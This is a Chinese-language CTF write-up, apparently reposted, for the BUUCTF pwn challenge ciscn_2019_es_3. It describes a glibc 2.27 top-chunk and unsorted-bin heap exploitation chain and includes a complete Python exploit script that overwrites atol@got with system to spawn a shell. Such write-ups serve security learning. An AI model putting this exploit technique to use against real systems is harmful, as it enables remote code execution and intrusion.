ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[BUUCTF] ciscn_2019_es_3

2021-10-24 19:03:33  阅读:275  来源: 互联网

标签:bin BUUCTF ciscn libc chunk edit 2019 top name


目录

ciscn_2019_es_3

总结

题目没有提供free,基本能算是house of force+house of orange,但又不完全是。应该说主要还是围绕着top chunk进行利用,详细利用过程如下:

  • 利用strlen的漏洞,溢出修改top chunksize,需要滿足要求通过检查,之后会把top chunk释放到unsorted bin中。比如控制剩下的top chunksize0x1520,然后溢出修改为0x520
  • 申请一个大的chunk,把old top chunk释放到unsorted bin
  • 修改unsorted bin chunksize为更大的值,比如修改为0x2000
  • 然后申请0x2000-0x10用户大小,就会把伪造的unsorted bin chunk返回给用户,这个chunk可以修改到新的top chunksize
  • 本来这里想直接用house of force,因为可以泄露出heap的地址。但是由于在read_int中有校验,输入不能为负数,所以就不能使用。因此,这里继续上述步骤造出一个新的unsorted bin chunk
  • 接下来利用edit来溢出修改新的unsorted bin chunkbk,使得chunklist[0]被写为main_arena+96。这个地址存储着top chunk的指针。
  • 利用edit(0)编辑top chunk的指针,指向bss段,这里注意一下,还要修复unsorted bin链表
  • 直接分配到chunklist,利用editatol@got的内容写为system即可

checksec

环境为libc-2.27

image-20211024183359268

漏洞点

edit分支中,修改完后chunksize的更新使用的是strlen,存在溢出修改chunk size的机会:

image-20211024183515481

EXP

打远程的时候,发送超过0x1000个字符就挂了,不知道为啥。

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

def read_name(name):
    p.sendafter("name :", name)

def add(size, data="deadbeef"):
    p.sendlineafter("Your choice :", "1")
    p.sendlineafter("Size of page :", str(size))
    p.sendafter("Content :", data)


def show(idx):
    p.sendlineafter("Your choice :", "2")
    p.sendlineafter("Index of page :", str(idx))
    p.recvline_contains("Content :")
    m = p.recvline(0)
    info(f"Get info: {m}")
    return m

def edit(idx, data):
    p.sendlineafter("Your choice :", "3")
    p.sendlineafter("Index of page :", str(idx))
    p.sendafter("Content:", data)


def name_info(name="", choose=1):
    p.sendlineafter("Your choice :", "4")
    m = p.recvline_startswith("name : ")
    info(f"Get info: {m}")
    p.sendlineafter("Do you want to change the name? (yes:1 / no:0) ", str(choose))
    if choose:
        read_name(name)
    return m

# helpful to leak heap
read_name("a"*0x40)

add(0x1e770)

# get heap base
m = name_info(choose=0)
heap_base = u64_ex(m[0x47:]) - 0x260
log_heap_base_addr(heap_base)

add(0xf8)
edit(1, "a"*0xf8)
edit(1, b"a"*0xf8+p16(0x521))

# free old top chunk
add(0x600)

edit(1, b"a"*0xf8+p16(0x2001))

# clear unsortedbin list and change new top chunk's size
add(0x2000-0x10, flat({0x1b28:0x9f1})) # 3 

# get a new unsorted bin chunk
add(0x1000)

# unsorted bin attack
edit(3, flat({0x1b28:[0x9f1, 0, 0x602100-0x10]}))

add(0x9e0)

# leak libc addr 
m = name_info(flat(0, 0x20ff1))
libc_base = u64_ex(m[0x47:]) - 0x3ebca0
log_libc_base_addr(libc_base)
libc.address = libc_base

# change top-chunk ptr and repair the broken unsorted bin list
edit(0, flat([0x6020c0, 0, libc_base + 0x3ebca0, libc_base + 0x3ebca0]))

# change ptr--->atol@got
add(0x60, flat({0x30:[[elf.got.atol]*4]}))

# change atol@got to system
edit(1, p64(libc.sym.system))

# get shell
p.sendline("/bin/sh")

# get flag
get_flag_when_get_shell(p)

p.interactive()

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

标签:bin,BUUCTF,ciscn,libc,chunk,edit,2019,top,name
来源: https://www.cnblogs.com/LynneHuan/p/15452149.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有